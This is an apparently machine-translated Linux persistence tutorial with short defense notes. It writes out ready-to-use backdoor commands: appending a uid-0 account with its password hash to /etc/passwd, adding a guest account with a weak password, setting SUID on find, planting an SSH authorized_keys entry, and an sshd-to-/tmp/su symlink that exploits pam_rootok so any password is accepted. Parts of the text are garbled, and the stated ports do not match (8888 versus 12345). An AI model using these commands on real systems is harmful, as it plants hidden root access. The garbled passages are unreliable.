Modify permissions:
Add Account:
Add normal users:
useradd guest;echo 'guest:123456'|chpasswd
Add root user (mentioned above)
echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd Account: test Password: password@123
It's easy to add an account to maintain permissions.
Defense method:
Query Privileged User Privileged Users(uid 0) [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd Query account information for remote logins [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow except root Does other account number exist outside of account number sudo Jurisdiction. General Account Number should be deleted if not required for Administration sudo Jurisdiction [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
Design sketch:
Configure SUID:
Give permission
Contrary to authorization, authorization requires SUID privileges to be authorized, so here we also need to give SUID to maintain our privileges
Add permissions to the script commands you want to make:
chmod u+s /usr/bin/find chmod u-s /usr/bin/find
Then the command executes
Defense method:
First list the commands with SUID:
find / -user root -perm -4000 -print 2>/dev/null (Find Has SUID Command of)
If an improperly configured command is found, delete it:
chmod u-s /usr/bin/find
SSH Secret Login
Here is a brief description of the following SSH
From the image above, you can see that when we log in using SSH, there are mainly the following steps:
User Use ssh user@host Command initiates a logon request to the remote host; The remote host returns its own public key to the requesting host; Request the host to encrypt the password entered by the user using the public key; Request host to send encrypted password to remote host; The remote host uses the private key to decrypt the password; Finally, the remote host decides whether the decrypted password is the same as the user's password and agrees to log on consistently, otherwise, the remote host decides to log on consistently.
As for Secret-Free Login, the following figure shows you in seconds:
There are public and private keys, and unknown partners can look up the data themselves. There is a key place here, and also the key point of secret login:
Affected 🐓 Under attack 🐓 After a request from the authorized_ Find in keys and return a string to the attack if there is a corresponding username and IP 🐓, The rest of the process is in the picture, let's not talk more about it
Secret-free configuration:
windows:
ssh-keygen -t rsa
Build one locally
Press three consecutive carriage returns here (just do it)
Where id_rsa is the private key and id_rsa.pub is the public key. Next, open id_rsa.pub and copy the content to the server. Append the content of id_rsa.pub to/root/.ssh/authorized_keys and the configuration is complete.
ssh root@ip Connect it
linux:
1.Client Generate Public and Private Key Local client generates public and private keys: (Enter all the way by default) ssh-keygen The above command will appear in the user directory.ssh Create public and private keys under folders cd ~/.ssh ls Next, create two keys: id_rsa (Private Key) id_rsa.pub (public key) 2.Upload Public Key to Server The server address tested here is: 192.168.235.22 Users are: root ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.235.22 The command above is written to the server ssh Catalog down cd ~/.ssh vim authorized_keys You can see that the client writes to the server's id_rsa.pub (Public Key) Content.
Defense method:
View/root/.ssh/authorized_ Is keys modified
cd ~/.ssh vim authorized_keys
SSH Soft Link Secret-Free Login
If the sshd service configuration runs PAM authentication, only pam_is required when the control flag in the PAM configuration file is sufficient ly The rootok module can successfully authenticate the login if it detects that the uid is 0, that is, the root privilege.
With soft connections, PAM authentication is essentially done by finding the corresponding PAM configuration file (e.g. /etc/pam.d/su) in the / etc/pam.d/directory through the file name/tmp/su of the soft connection. The core of any password login is auth sufficient pam_rootok.so, any SSH password can be logged on as long as the PAM configuration file contains this configuration, as can chsh and chfn in addition to su.
pam_rootok.so
In general, pam_ The main function of the rootok.so module is to enable users with uid 0, that is, root users can be authenticated directly without entering a password.
Pam_ A typical application of the rootok.so module is to insert into authentication profiles of some applications, where root users can authenticate without entering a password when executing these commands.
For example, with the "su" command, why can you switch to the normal user identity as root without entering any password?
It's not surprising when we look at the contents of the / etc/pam.d/su file. Because the first line of the file is:
auth sufficient pam_rootok.so
If you comment out this line configuration, you will find that you still need to enter a password even when switching from normal user to root user.
Soft connection:
Execute the following command with root privileges under the target server
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
The above command links/tmp/su to/usr/sbin/sshd and listens on the specified port 8888
Connect remotely and enter your password freely
ssh root@xxx.xxx.xxx.xxx -p 12345
Defense method:
View processes, ports kill in time
ps aux kill -s 9 PID